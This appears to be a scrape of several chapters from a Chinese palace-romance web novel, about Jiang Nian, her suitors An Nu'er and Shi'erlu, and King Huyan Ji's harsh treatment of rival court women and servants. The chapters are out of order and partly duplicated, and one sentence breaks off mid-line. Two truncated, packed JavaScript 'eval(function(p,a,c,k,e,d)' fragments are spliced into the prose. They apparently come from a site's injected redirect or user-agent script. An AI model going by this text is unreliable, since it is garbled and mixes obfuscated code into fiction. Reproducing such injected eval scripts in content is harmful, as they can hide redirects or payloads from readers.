江念一手捉裙,一脚刚踏上椿凳,石儿禄从后面走来,叫住她:“阿念,坐什么马车,我给你准备了小马,骑着马儿才得趣。” 江念扭头看去,就见年轻男子牵了一匹枣红色的小马,油亮的毛发,脖子上挂着摇铃,脾气看起来很温和。 其实比起坐马车,她更愿意骑马,从前还是江家女郎时,便会在奴仆的簇拥下奔至野外,御风骑射。 “不了,我还是坐马车……” “哎呀,你明明想骑马。”石儿禄知她有些顾虑,怕拂了安努尔的好意,便掉过头看向安努尔,“兄长,她是你的伙计,听你的安排,你说罢。” 尽管安努尔希望她坐马车,可说出来的话却是:“不打紧,你想骑马便骑马,自在些,不用顾虑什么,出来玩以开心为要。” 江念双目微亮,一手抚上马首,然后拍拍马项,将裙摆掖于腰间,接过马辔,翻身上马,动作干脆利落,十分飒爽。 石儿禄招手让仆从牵过自己的花鬃马,撩衣上马,驱马前行,随在江念身侧。 落于人后的松赞见此架势,暗暗摇了摇头,谁能料到这两人居然会为了一个女人对上。 只是不知最后谁输谁赢,谁能抱得美人归…… 一行人往城外行去,出了城门,周围的雾气就散了,阳光轻飘飘洒下来,又是一片金色调。 江念眸光震颤,看着眼前的旷景,终于知道夷越男女为何骨子里透着原生的逆野。 四野绿莹莹一片,深绿爱浅绿,连绵出绿色的高低起伏,汩汩的溪流作纽带,从他们脚下逶迤而去,同天边的群山相连,而天边的群山又将这片土地同天空相连。 这些是她从没看过的,哪怕那次同呼延吉前往衡炀的路上,她亦没见过这么美的景,美得不太真实。 肥沃的土地上散布着灰白石垒成的房屋,隐隐可见有人进出。 原来这就是呼延吉惜爱的土地啊! 一行人找了一片可憩坐的地方,下马安顿。 松赞的两房妻室分别搀扶着仆人下了马车,江念有些好奇地看了几眼,两个女人都还年轻,一个清丽多些,一个妩媚多些。 梁国男人内宅是一妻多妾,夷越男子不兴那个,是以,江念好奇两个地位相当的女人怎能安然共处。 只见两个女子先是看了她这边一眼,其中一个低头对另一个笑着说了什么,另一个也跟着笑起来。 江念收回眼,秋月上前将她手里的枣红小马牵到一边拴住。 安努尔走了过来,垂尽的余光中尽是女人的侧颜:“这景如何,还能入眼否?” “入了眼。”江念喃喃说道,“安阿兄,有一事我想同你说。” “何事。” 江念抿了抿唇,略略钝圆的唇形这么一抿添了丝俏皮:“我其实没有失忆,哄骗了你。” 男人轻笑出声,那声音随风荡开:“不意外。” “你已知晓?” “失忆之人源于好奇,总会想着探寻从前,可你好似有意回避,这就有些不同寻常,不过嘛,每个人都有自己的秘密,从前的不开心若能不记得,不失为一件幸事。” 从前的不开心么?那倒也不尽然。 不知怎的,安努尔觉着女人的眉尖染有点点轻愁,不知这愁从何处来,连这景都无法化开。 “阿念——”爽朗的男声远远叫道,就是这么一刹那,女人的轻愁散了,没了,消失了。 石儿禄快速走来,立在不远处向她招手,让她过去。 江念快步朝另一边走去,走了几步似有所觉,回头看向安努尔,笑道:“安阿兄,我过那边去。” 安努尔微笑着点了点头,可在女人转身后,那无味的笑便收了起来…… 第80章 朝思暮想的人 他看见石儿禄走到她的身边,一脸笑意不知同她说了什么,她也跟着笑起来,他从没见过她笑得这样开心,然后两人并肩走到溪水边,女人敛衣憩坐于一块大石上,石儿禄则殷勤地来回跑。 江念慌得连连摆手,却抵不住男人一颗想要奉承的心。 一会儿给她送果子,一会儿给她送奶酥,等肉烤好了,又将肉端送到她的身边。 他亦看得出来,石儿禄是动了真心,不动心的话,石儿家的小郎何至于做到这个份上。 安努尔忽然生出一种错觉,是不是自己太老了,同石儿禄相较,他没有他那样的鲜活气,明明是他先认识她,石儿禄才认识她几日,就能得她这般笑脸。 他亦看得出,她是真的开心,她看向石儿禄的眼神和看向他的不同,那眸光有些曲折,好似在透过石儿禄看另一人,安努尔苦笑一声,定是他多想了。 “阿念——追上来——”男人远远喊道。 安努尔循声看去,就见女子骑着枣红小马,一手擎马鞭,一手执辔,在青绿的原野御风飞奔,纤腰随着颠簸划出流畅的弧度,她的前面是扬鞭纵马的石儿禄,男人蓄力的背,如张满的弓,一男一女,一前一后,肆意飞驰。 江念好久没有这般畅快过,双腿夹紧马腹,拍马跃上一山坡,勒转马头,立于坡上。 一阵风来,绿香拂过,吹得她眯起眼,那一头乌发在风中飘扬涤荡。 安努尔和石儿禄谁也不愿退让,兄弟仍是兄弟,可女人……谁有本事就是谁的。 然而,两人却不知他们真正的对手并非彼此,而是另有其人…… …… 接下来的时日,石儿禄有事无事便会跑到四季轩,借着买香料的由头找江念搭话。 江念忙起来便不太理他,他也不恼,就安静地守在她身边,她若是抽出空来,回他几句话,那一日他的心情就会格外地好。 试想想,一个心底朝思暮想的幻影突然有一日真真实实地出现在你面前,还不是刻意寻来的,若是特意寻到的,反倒没那么让人惊喜,出其不意的偶遇总是令人心动,而江念在石儿禄的生命里出其不意了两次。 第一次遇见,她在他的生命里埋了种,第二次遇见,她破土而出。 安努尔此刻万分后悔,那时不该让她离开安宅,不过现在后悔也晚了。 “安阿兄?” 一个声音将安努尔的思绪打断,扭头去看,江念立在珠帘另一边,似是有话说。 店掌柜一面盘算账目,一面忍不住抬眼偷觑,从前东家不常来四季轩,如今三日里倒有两日来往店中。 安努尔微笑道:“进来。” 江念拨帘走到里间,扫了一眼桌面上的账本,然后从腰间抽出荷包,双手递到安努尔面前:“这是我在店中领的月钱,我自己留了一小部分,余下的给你,多亏你帮我找了那院子,之前身上拮据,你替我垫付了,现下我能还一些是一些。” 安努尔在那荷包上盯了好一会儿,嘴角虽然带着笑,可那笑有些别样的意味:“阿念这是打算同我清账了?” 江念并未多想,觉得欠债还钱,天经地义,他帮了她,她不能理所当然的安享,安努尔不差这点小钱,她却不能黑不提白不提。 安努尔缓下语调,将荷包接过,微笑道:“好,那我收下了。” 江念就要转身离开,安努尔的一句话却生生拉住了她。 “阿念,你是不是喜欢石儿禄?” 江念一怔,也就是这一怔,安努尔的心沉到了底,虽然之后她否认了,然而在他看来那不过是女儿家难为情的掩饰罢了。 待江念走后,安努尔细细摩挲着手里的荷包。他从前就是不够狠绝才错失心爱之人,这一次他要不惜一切抓住。 …… 这日,更深夜静,江念再次被惊醒,因之前院子里进过贼人,从那之后她睡得比较警醒,有一点响动便会醒来。 扭头看去,窗上映着一个模糊的黑影,确认这黑影是人影后,她的心开始狂跳,抖擞着双手从枕下摸出一包迷香粉,然后蹑手蹑脚躲到门后,屏息等待着。 门闩被那人从外顶掉,接着门扇缓缓开启,贼人刚一探身入房,江念算准时候,一手捂着口鼻,一手将迷香粉朝贼人撒去。 不承想那人也蒙了面,根本没吸入迷香粉,不过好在有部分粉末撒进了他的眼。 那人本就作贼心虚,骤然之间眼睛又糊了,心慌之下夺门逃走。 这一夜,江念是真被吓到了,她不敢想若她没有及时醒来,接下来会发生什么事,之后再没入睡,就那么披衣呆坐到天亮。 “阿姑怎么坐在院中?”秋月起身敲响江念的房门,不见回音,这才走到院中,见她不答话,再一看,哎哟一声:“这是怎么了,眼下都青了。” 女人怀里抱着木棍,双眼要睁不睁的样子。 “这……不会昨夜又闹贼了?!”秋月忙不停地给江念系好衣衫,正准备将她搀扶进屋,此时院门被敲响。 秋月只得前去开门。 一开门,门外站着石儿禄,手里还提着两个油纸包,见了秋月笑问道:“你家主子呢?” 秋月忙将人迎进来,朝一个方向努了努嘴。 石儿禄看去,只见女人云鬓蓬松,神思恍惚地坐在那里,怀里还抱着一根长棍。 “怎么回事?”男人两步上前,放下手里的油纸包,蹙眉问道。 江念似是才缓过神,强打起精神:“石儿郎君怎么来了?” “东市有家早点不错,今儿特意起早,给你买了早点来。”石儿禄提起油纸包在江念面前晃了晃。 大多数夷越男子若是喜欢一个女子,便会大胆并热烈地表露出来,江念自然察觉到石儿禄对她有意,她曾向他表示过,让他不要在她身上费心。 然而并没起到作用,她的冷待熄灭不了他心里的火,他仍是往她身边凑,有时候江念就想,在这一点上,石儿禄和那人还真是像,特别是笑的时候。 “有劳郎君了,我需得去店里上工。”江念请他随意坐,让秋月待茶,自己进到屋里简单梳洗一番。 江念收拾好后从屋里出来:“我要去店里了,你再坐一会儿?” “我又不是没地方坐,专挑你这小院儿坐?特特起了个大早给你买吃食,你看也不看。” 江念见他那样子,有些想笑,只好找个理由:“我一向早上不吃的。” 说罢接过秋月递来的热茶,喝了两口。 男人见她要走,忙随在她的身后:“我送你一程。” “不必了,走几步就到。” 石儿禄咧嘴笑道:“那我陪你走几步,或是你陪我走几步。” 江念笑着摇了摇头,不去管他,出了院门往街市行去,石儿禄就那么不近不远地跟着,也不说话,也不去扰她。 四季轩离桂花巷不算远,不一会儿就到了,石儿禄送她到店门前,看着她进去,然后快步离开。 他没有回自家府宅,而是返回桂花巷。 “你家主子怎的一大早精神那般差。” 秋月便将院中闯贼的事说了:“这贼人来了不止一次,加上这次已是第二次,成日让人提心吊胆,住着也不安省。” 石儿禄点了点头。 彼边,四季轩…… “天爷!你怎么搞的,这檀香和沉香的料子你可曾用清酒浸泡过?”一个粗嗄的声音响透香料铺。 制香的老巴又捡了一块料放到鼻下猛嗅,嘴边的两撇胡子都要被他吸进鼻腔里似的。 江念才来时便是跟着他学习调制香料。 后来江念根据香谱上的配比,再加上实践,无需他照看也能独当一面,老巴就一直耿耿于怀。 从前江念询问他,他不耐烦说,哪怕说了,也是兜兜绕绕不知所谓,如今江念不问他了,他对江念更加厌恶,横竖看不惯。 今日好不容易挑了她一个错处,便要嚷得尽人皆知,正巧东家也在店里,好叫东家知道这女人是个没用的浑货。 江念因昨夜一宿没睡,精神恍惚,头目昏沉,调制宫廷香时便忘了浸泡檀香和沉香。 “我这就拿去泡。”江念说道。 老巴不依不饶:“说得轻巧,拿去泡?今儿这是我看见了,往日没看见之处,不知弄错了多少!怪道我说连日来客人少了。” 江念身上开始发冷汗,昨夜本就受了惊吓,耳边又是男人聒噪的声音,一时竟有些立不住,身子晃了晃,正巧此时一个力道从后撑住她。 “昨夜没好睡么?面色看着有些差。” 一边的老巴见东家来了,立马舔脸笑道:“东家来了,这个梁女……” 安努尔抬手轻轻一摆,示意他下去。 老巴准备好的说辞哽塞在喉,却又不得不转身离开。 “安阿兄,平日不像这样,实是今日身体有些不适。”江念说道。 男人没有半分责怪的意思,言语中尽是关心:“我找个大夫来给你瞧瞧罢。” “不必,没有病症,只是昨夜没睡好。”江念连连说道。 安努尔细细看了她的面色,眉头蹙起:“昨夜院中又闹贼了?” 江念点了点头。 那日安努尔说过,这贼定是摸清了她的境况,知她院中无男人看护,第一次不得手,还会再来第二次,果然,昨夜真就来了,照这样下去,那贼人肯定还会再来。 “我倒有个主意,只是不知你是否愿意。”安努尔说道。 “安阿兄但说无妨。” “你先暂住我府宅中,我安排一个护卫住进你那小院,待贼人抓获,彼时你若想搬回,尽可安心搬回,只是不知你的想法如何。” 江念思索片刻,有些拿不定主意,俗话说,只有千日作贼的,哪有千日防贼的,正待应下,一道轻蔑的嗤笑声从门外响起…… 第86章 别玩儿 呼延吉就那么当着众人的面,一把擒住朵氏的颈脖,缓缓施力,一点点攥紧:“我最恨有人在我背后搞鬼,证据?理由?本王要你的命可不需要理由。” 朵氏双眼鼓瞪,喉咙发出破风声,好看的指甲在男人的手背划出血痕。 呼延吉将人往旁边一搡,妇人颓倒在地,一头鬈发蓬松散开,略显狼狈,一手撑着地面,一手抚上咽喉处,猛地汲取空气,等缓过气来,哑着声音哆嗦道:“大王这是要杀我?就不怕朵氏一族找大王讨要说法?” 似是听到极好笑的笑话,呼延吉低笑出声:“你刚才不是问我要证据和理由么,那我现在反问你,我杀你的证据呢?谁看见了?”说着,转头瞥了一眼周围,扬声问道:“你们看见什么了?” 殿内宫婢和宫奴们齐齐发声:“奴才们什么也没看见。” 朵氏冷汗涔涔,胸口因呼吸不稳而剧烈起伏。 呼延吉又道:“本王现在再问你,还要理由么?还要证据么?” 朵氏浑身一颤,一张脸已经不能看了,可这还不算完,却听男人又道:“知道我为什么留你在王庭,连东殿都让给你住。” 朵氏已经完全答不上话,颈上的手虽然撤掉,可那个如同烙铁一般的力道仍无形地掐着她的咽喉。 面前的这个人她不认识,完全不认识。 “啧——不愿再嫁?替我大哥守洁?你不会真以为我信了你的鬼话罢?”呼延吉撑额闷笑出声,笑声越来越大,越来越邪性,“见你演得那么真切,本王都要替你鼓掌。” 男人探手钳住女人的下颌,将她拉向自己,凑到她的耳边低声道:“老老实实在东殿做你的大妃,不要给我玩任何花样,否则……下去陪我大哥,嗯?” 女人涕泗横流,颤抖着点头,哪还有半点平日里的华贵艳丽。 呼延吉将手从女人的下颌松开,嫌弃地甩了甩手上的泪渍,懒懒地伸出手,一旁的木雅立时上前替他拭净手指。 待呼延吉走后,朵氏仍呆坐在地上,魔鬼!这就是个魔鬼!原来他什么都知道,他知道她的伪善,从一开始就知道,一直当一个看客,看着她惺惺作态。 她终于明白,为何他明知她的心思,却始终不拆穿她,还把她留在王庭,将东殿让给她住,让宫人们继续尊她为大妃。 她是朵氏一族的女子,如果她离开王庭,五大上姓必会再送族中女子进王庭,同皇权盘结,是以,呼延吉同她虚与委蛇,用她这个“**”堵住口子,看似是她利用他,实则是他在利用她,她成了他的幌子。 如此一来,他便可以不受五上姓的掣肘,争取更多的时间,加固皇权,他在下一盘棋,一盘推翻夷越上姓门阀的博弈。 朵氏越想越心惊,所以说,当初就算她不借口留下,呼延吉也一定会想办法将她留下。 从头到尾,她只是一枚棋子而已,那时的呼延吉才多大,一个不过十五岁的少年! 太可怕了,这人太可怕了!怎么可以伪装得如此好,朵氏甚至觉着不止她一人,这天下之人都是他手里的棋子,他会利用所有能利用之人,达到他的目的,而被他利用之人却蒙在鼓里,完全不知情。 呼延吉回到议政殿,召来右大臣,兀良哈,此人出身“五大上姓”之下的世家,兀良一族,同左大臣,朵尔罕,并称夷越左右大臣,统领百官。 “王,兀良大人来了,已在殿外。”丹增说道。 “请兀良大人进来。” 丹增应下,出殿将人迎了进来。 只见来人须发花白,明明是文官,却生了一副武将的魁伟貌,身高体大不说,宽颌脸,双目炯炯,红光满面。 呼延吉忙令道:“给兀良大人赐座。” 丹增挥开预备上前的小宫监,亲自搬来一张大椅,然后命人上了茶水,最后带着一众宫侍退出殿外。 “兀良阿叔近日身体可好?”私下里,呼延吉便改了称呼。 兀良哈朝呼延吉一拜,脸上笑着:“多谢大王体恤关心,老臣身体比那三十岁的男子也不差什么。” 这二人看着不像君臣,更像叔侄,其实这里面有一层故事。 当年呼延吉之兄呼延成,有一极为心爱女子,那女子便是兀良哈之女,每当呼延成出王庭,呼延吉便知兄长要去兀良家,于是缠着兄长带他一起。 然而,呼延家历来大妃之位皆出自“五大上姓”。 再说这“五大上姓”,相互间明争暗斗,可一旦触碰冒犯到他们整体的利益之时,又齐心合作对外。 那个时候,呼延成不顾“五大上姓”家族反对,终是娶了兀良哈之女,兀良慈,后来呼延成承继帝位,兀良慈封为大妃,然而世事难料,兀良慈出王庭归家的途中出了意外,香消玉殒。 呼延成思妻成疾,没几年也去了。 所以呼延吉对兀良家自与别家不同。 呼延吉笑道:“兀良阿叔老当益壮,比之我也不差什么。” 兀良哈笑着摇了摇头:“王又哄老臣开心,老臣这点自知之明还是有的。”笑过后,拈髯道,“大王召老臣来,定是有要事吩咐。” “我需离庭数月,不在的这段时日,还需阿叔替我费心。” 夷越阶层分明,最上是王权,王权之下是五大上姓,五大上姓之下才是世家,世家被五大上姓压制,两方积怨已久,暗中兵戈。 呼延吉便给夷越世家相应扶植,再利用分权制衡,从而牵制双方派系。 兀良哈从座上起身,正了面色,向上躬身道:“大王示下,老臣自当竭力。” 呼延吉“嗯”了一声,又道:“若有不能处置之事,阿叔可让丹增给我去信。” 兀良哈应诺。 …… 呼延吉回了西殿,走至寝屋内,从书架取出绿皮书,随手翻了一翻,不知想到什么,招来木雅,吩咐了几句,木雅得令去了。 大膳房灶上一直备着热食,因只需负责西殿、东殿和祥云殿这三个大殿的日常饮食,所以看起来不像小膳房那样忙乱,然而,看似清闲之下却是更严格精细的把控。 君王归来,大膳房早早备上美味珍馐,只等传膳。 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木雅是大王的贴身侍婢,众人将她看成兰卓的接手人,行止间对她很是客气。 木雅端着脸,并未立刻回答,一双眼往膳房内扫视,最后看向一个方向。 “阿星,你来。” 阿星心里一紧,阿月被带走,这会儿是不是该轮到她了?心里虽害怕,可还是走到木雅面前。 “怎的了,我做错事了?” 木雅一笑:“那倒没有,你跟我去正殿。” “去正殿?” 不止阿星惊异,连膳房其他人也好奇,这是要问责么?前面是阿月,后一脚就轮到阿星了。 然而下一瞬,木雅却说:“是,你不必惊怕,大王让你到他跟前伺候,快随我来,莫让王久等。” 一个膳房的烧火丫头进王殿?还是调到君王身边伺候?她们这些在膳房熬了大半辈子的婆子们也只敢在梦里想一想。 木雅领着阿星离开前,吩咐道:“可以摆膳了。” 阿星随木雅进到正殿,上正殿的台阶时,她都格外小心,怕自己的脚把地砖弄脏污,她来王庭为婢这么些年,还从未进过正殿,前一脚才入正殿,后一脚膳房开始传菜。 宫婢们手执托盘将菜一道道摆上桌,那是一方顶精贵的圆桌,她的眼睛看向桌布垂下的金黄穗子,心道,这一小撮穗子可能比她的命还值钱。 就在她胡思乱想间,周围的空气骤然变静,她知道,这座宫殿的主人来了。 呼延吉一路飞马赶回王庭,三两日的路程没怎么停歇过,才一落脚王庭,便是审人问讯,直到这会儿才闲下。 阿星听见侍婢们挪动座椅的声音,她不敢离得太近,远远地垂手立在那里。 “你叫阿星?” 那冷冽略带力量感的声音响起时,阿星的心跟着漏了一拍,不敢相信这声音在对她说话。 “回大王的话,是。” 接着那声音又道:“跟在我身边罢……” 第119章 你身上怎么这样好闻? 呼延吉特意下了一个早朝,平时散朝后还会同臣下在议政殿坐一会儿。 今日提前散朝,一出大殿径直来了祥云殿,也不让人通传,就阔步走了进来。 他就见那道纤薄的身影,腰板挺直地跪在殿中,碎光斜在她的头身上,落在她周围的地面,空气里还有蓝色的灰尘打着旋。 她在笑声里显得那样安静。 呼延吉的心狠狠地抽了一下,在他的印象中,江念不是这样,她变了,那并非一种值得让他高兴的改变。 他将她捧在手心,江家人将她捧在手心,这种躬身下的顺服,不是她,那不是她该有的姿态。 因为他,一切都是为了他…… 江念将笑声隔开,沉在自己的思想里,连上首的笑声几时停的也不知,当她感知到时,手臂上多了一个力道,将她从地上拉起。 她回望过去,不是别人,正是呼延吉,此时殿中人除了高氏,俱伏地跪下。 他环护着她走到一侧的座椅边,轻声道:“阿姐,坐下。” 江念不知他怎么这个时候来了,预感接下来有事要发生。 待江念落座后,呼延吉走到高太后右手边的上座,撩衣坐下。 高氏到底有些心虚,不知他是何意,开口道:“梁妃过来请安,现下大王来了,把人带回罢。” 呼延吉缓缓点了点头,并不看高氏,开口道:“本王坐了这一会儿,连个上茶的人都没有,母后殿里的人好大的架子!” 伏跪的众人心底大叫冤枉,大王您不叫起身,咱们这些人哪个敢动?既然不能动,又如何给您上茶水? 众人心中叫苦,却听上首君王一声吩咐:“来人!” 立时从殿外进来十几名银甲亲卫,一进来,整个殿里的空气都往下沉。 “每人二十大棍,拉下去,打罢。”呼延吉将身子往后仰靠,闲闲说道:“儿子今日有时间,就在这里替母后教教奴才们规矩,儿子也知母亲最是讲规矩的一人,刚才隐约听到《内训》二字,虽未拜读过,不过从那字面便知,内训!内训!就是从内部开始教训。” 高氏听后,两眼直瞪瞪,差点喷出一口老血,这小混账说的什么歪理?! 呼延吉不睬她,淡漠道:“开始罢。” 亲卫将殿中的奴才一个一个往外拖,只听得殿外棍子落在肉上的“啪,啪——”声,又清脆又响亮,却听不见人声,只因亲卫怕扰到君王,便将宫人的嘴塞住,不让其发出声音。 高氏气得脸色发青发灰,两腮松弛的肉打着颤儿,这哪是在打那些奴才们,这是在打她的脸呐! 外面的每一声,都结结实实地落在她的脸颊上,火辣辣地烧疼。 朵妲儿同朵氏仍伏跪在地。 斜光中,朵妲儿发现地上零星的影闪闪晃动,不知是什么东西,遂抬眼看去,惊了一下,那晃动的东西是长姐头上的坠苏,坠苏晃动是因为人在发颤。 她那位一向高高在上的长姐居然止不住地颤抖。 朵妲儿心惊,怎的怕成这样? 江念展眼看去,整个殿中,只有三人坐着,那三人便是上首的高太后、呼延吉,还有下首的她。 再就是不时进出的亲卫,把跪伏在地面的祥云殿宫人架出去。 她望向呼延吉,想要起身说两句,毕竟宫人们无辜,却见呼延吉暗中朝她压了压手,只好静静地端坐在那里。 她明白,他这是故意惩戒祥云殿的宫人压高太后的气焰,如此大动干戈,也是为了让王庭所有人知晓,让所有人看清,她的背后有他,她不是可以被随意对待的,他在给她做脸。 “逆子!逆子!”高太后拍着椅扶,气骂道。 “母亲莫要动怒,为我这么个逆子气坏了身子不值当。”呼延吉的语气很是随意。 殿外的刑杖声还在继续,殿里的宫奴已被拉出去七七八八,此时从外进来两名亲卫,走到高氏身侧立住脚,没有丝毫迟疑地将高氏身侧伏跪的一人拉起。 正是高氏跟前的女官,金掌事。 一向严肃寡面的金掌事这会儿面色也变了,意识到这次君王是真的恼了。 从前大王来祥云殿,哪怕圣太后不待见王,王并不在意,态度依旧恭敬,如今却为了梁妃公然威压太后。 她一把老骨头真要挨上几板子,板子还未打完,估计就得断气,正想着,架在她两侧的亲卫突然松开手,就听大王说道:“今日就免了金掌事的责罚,你是太后跟前的老人,平日该多劝着她一些才是。” 金掌事吁出一口气,连连称是。 呼延吉看了眼地上的朵家两姐妹,再从她二人身上移开,起身,走到高氏面前:“人也教训完了,儿子告退,母亲千万保重身子。” 高氏不语,扬手往呼延吉脸上扇去,她对这个小儿子半分都近亲不起来。 她也坚信小儿子对她没有多少亲情,两人维持着表面的平和,不过是身份使然,当然了,这个身份无关乎母子情。 高氏恨透了梁国,她将大儿子的死归罪于梁,归罪于梁人。 所以她对自小在梁国长大的呼延吉,便看哪儿都不顺眼,看哪儿都是错,这种偏执全无道理,高氏却不管那么多,她认为呼延吉能回来,是呼延成用命换的。 不然为什么他明明有两个孩子,现在只有一个了,因为一命换一命。 妇人的手高高扬起,也不管身旁有无有人,一记重重的耳刮就要落在呼延吉的脸上,预料中的巴掌声没有响起,挥动的手被另一只手截住。 余下的众人听见异动,不免抬头看个究竟,截住太后之人正是一直未曾出声的梁妃! 众人无不震诧当场,尤其是朵氏两姐妹和金掌事,她们就在高氏身侧,纵然跪着,眼角的余光也能让她们获悉正在发生的事情。 江念躬下身,轻声道:“大王对太后一片孝心,然,即便太后是母亲,也不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而,高氏千算万算还是算漏了一点,当着呼延吉的面对江念动手,已然触碰到呼延吉的底线,而呼延吉的那一声“母后”,她当时并未知晓其中的意思,待明了时已经晚了。 呼延吉带江念离开后,殿中众人仍不敢起身。 高太后怔愣着,小儿子离开前的那一眼蓦地让她心漏跳一拍,浑身窜起寒意,最后只能自我譬解,是她想多了。 …… 呼延吉同江念回西殿,路上两人各自坐着乘辇,没有言语,待进了西殿,呼延吉挥手让人退下,殿中只他二人。 呼延吉走到露台处,坐到泉水边的玉矶上,招手让江念上前,江念便走到他的跟前,侧身坐下。 “手指还疼不疼。” 她将手摊出来给他看。 他拿起她的手,好一番端相,原本好看的指甲短了一截,应是当时剔青核果时劈折,后来回到西殿让宫婢给她重新修剪过。 指头还好,红肿褪去了些。 “怎么今日下朝这么早?”江念问道,其实她是想问,他怎么察觉出异常的,不然不会那么凑巧,俨然专为她去的。 呼延吉没有立即回答,而是往她身侧靠了靠,问道:“你身上擦的什么香,怎么这样好闻……” 第86章 别玩儿 呼延吉就那么当着众人的面,一把擒住朵氏的颈脖,缓缓施力,一点点攥紧:“我最恨有人在我背后搞鬼,证据?理由?本王要你的命可不需要理由。” 朵氏双眼鼓瞪,喉咙发出破风声,好看的指甲在男人的手背划出血痕。 呼延吉将人往旁边一搡,妇人颓倒在地,一头鬈发蓬松散开,略显狼狈,一手撑着地面,一手抚上咽喉处,猛地汲取空气,等缓过气来,哑着声音哆嗦道:“大王这是要杀我?就不怕朵氏一族找大王讨要说法?” 似是听到极好笑的笑话,呼延吉低笑出声:“你刚才不是问我要证据和理由么,那我现在反问你,我杀你的证据呢?谁看见了?”说着,转头瞥了一眼周围,扬声问道:“你们看见什么了?” 殿内宫婢和宫奴们齐齐发声:“奴才们什么也没看见。” 朵氏冷汗涔涔,胸口因呼吸不稳而剧烈起伏。 呼延吉又道:“本王现在再问你,还要理由么?还要证据么?” 朵氏浑身一颤,一张脸已经不能看了,可这还不算完,却听男人又道:“知道我为什么留你在王庭,连东殿都让给你住。” 朵氏已经完全答不上话,颈上的手虽然撤掉,可那个如同烙铁一般的力道仍无形地掐着她的咽喉。 面前的这个人她不认识,完全不认识。 “啧——不愿再嫁?替我大哥守洁?你不会真以为我信了你的鬼话罢?”呼延吉撑额闷笑出声,笑声越来越大,越来越邪性,“见你演得那么真切,本王都要替你鼓掌。” 男人探手钳住女人的下颌,将她拉向自己,凑到她的耳边低声道:“老老实实在东殿做你的大妃,不要给我玩任何花样,否则……下去陪我大哥,嗯?” 女人涕泗横流,颤抖着点头,哪还有半点平日里的华贵艳丽。 呼延吉将手从女人的下颌松开,嫌弃地甩了甩手上的泪渍,懒懒地伸出手,一旁的木雅立时上前替他拭净手指。 待呼延吉走后,朵氏仍呆坐在地上,魔鬼!这就是个魔鬼!原来他什么都知道,他知道她的伪善,从一开始就知道,一直当一个看客,看着她惺惺作态。 她终于明白,为何他明知她的心思,却始终不拆穿她,还把她留在王庭,将东殿让给她住,让宫人们继续尊她为大妃。 她是朵氏一族的女子,如果她离开王庭,五大上姓必会再送族中女子进王庭,同皇权盘结,是以,呼延吉同她虚与委蛇,用她这个“**”堵住口子,看似是她利用他,实则是他在利用她,她成了他的幌子。 如此一来,他便可以不受五上姓的掣肘,争取更多的时间,加固皇权,他在下一盘棋,一盘推翻夷越上姓门阀的博弈。 朵氏越想越心惊,所以说,当初就算她不借口留下,呼延吉也一定会想办法将她留下。 从头到尾,她只是一枚棋子而已,那时的呼延吉才多大,一个不过十五岁的少年! 太可怕了,这人太可怕了!怎么可以伪装得如此好,朵氏甚至觉着不止她一人,这天下之人都是他手里的棋子,他会利用所有能利用之人,达到他的目的,而被他利用之人却蒙在鼓里,完全不知情。 呼延吉回到议政殿,召来右大臣,兀良哈,此人出身“五大上姓”之下的世家,兀良一族,同左大臣,朵尔罕,并称夷越左右大臣,统领百官。 “王,兀良大人来了,已在殿外。”丹增说道。 “请兀良大人进来。” 丹增应下,出殿将人迎了进来。 只见来人须发花白,明明是文官,却生了一副武将的魁伟貌,身高体大不说,宽颌脸,双目炯炯,红光满面。 呼延吉忙令道:“给兀良大人赐座。” 丹增挥开预备上前的小宫监,亲自搬来一张大椅,然后命人上了茶水,最后带着一众宫侍退出殿外。 “兀良阿叔近日身体可好?”私下里,呼延吉便改了称呼。 兀良哈朝呼延吉一拜,脸上笑着:“多谢大王体恤关心,老臣身体比那三十岁的男子也不差什么。” 这二人看着不像君臣,更像叔侄,其实这里面有一层故事。 当年呼延吉之兄呼延成,有一极为心爱女子,那女子便是兀良哈之女,每当呼延成出王庭,呼延吉便知兄长要去兀良家,于是缠着兄长带他一起。 然而,呼延家历来大妃之位皆出自“五大上姓”。 再说这“五大上姓”,相互间明争暗斗,可一旦触碰冒犯到他们整体的利益之时,又齐心合作对外。 那个时候,呼延成不顾“五大上姓”家族反对,终是娶了兀良哈之女,兀良慈,后来呼延成承继帝位,兀良慈封为大妃,然而世事难料,兀良慈出王庭归家的途中出了意外,香消玉殒。 呼延成思妻成疾,没几年也去了。 所以呼延吉对兀良家自与别家不同。 呼延吉笑道:“兀良阿叔老当益壮,比之我也不差什么。” 兀良哈笑着摇了摇头:“王又哄老臣开心,老臣这点自知之明还是有的。”笑过后,拈髯道,“大王召老臣来,定是有要事吩咐。” “我需离庭数月,不在的这段时日,还需阿叔替我费心。” 夷越阶层分明,最上是王权,王权之下是五大上姓,五大上姓之下才是世家,世家被五大上姓压制,两方积怨已久,暗中兵戈。 呼延吉便给夷越世家相应扶植,再利用分权制衡,从而牵制双方派系。 兀良哈从座上起身,正了面色,向上躬身道:“大王示下,老臣自当竭力。” 呼延吉“嗯”了一声,又道:“若有不能处置之事,阿叔可让丹增给我去信。” 兀良哈应诺。 …… 呼延吉回了西殿,走至寝屋内,从书架取出绿皮书,随手翻了一翻,不知想到什么,招来木雅,吩咐了几句,木雅得令去了。 大膳房灶上一直备着热食,因只需负责西殿、东殿和祥云殿这三个大殿的日常饮食,所以看起来不像小膳房那样忙乱,然而,看似清闲之下却是更严格精细的把控。 君王归来,大膳房早早备上美味珍馐,只等传膳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿星随木雅进到正殿,上正殿的台阶时,她都格外小心,怕自己的脚把地砖弄脏污,她来王庭为婢这么些年,还从未进过正殿,前一脚才入正殿,后一脚膳房开始传菜。 宫婢们手执托盘将菜一道道摆上桌,那是一方顶精贵的圆桌,她的眼睛看向桌布垂下的金黄穗子,心道,这一小撮穗子可能比她的命还值钱。 就在她胡思乱想间,周围的空气骤然变静,她知道,这座宫殿的主人来了。 呼延吉一路飞马赶回王庭,三两日的路程没怎么停歇过,才一落脚王庭,便是审人问讯,直到这会儿才闲下。 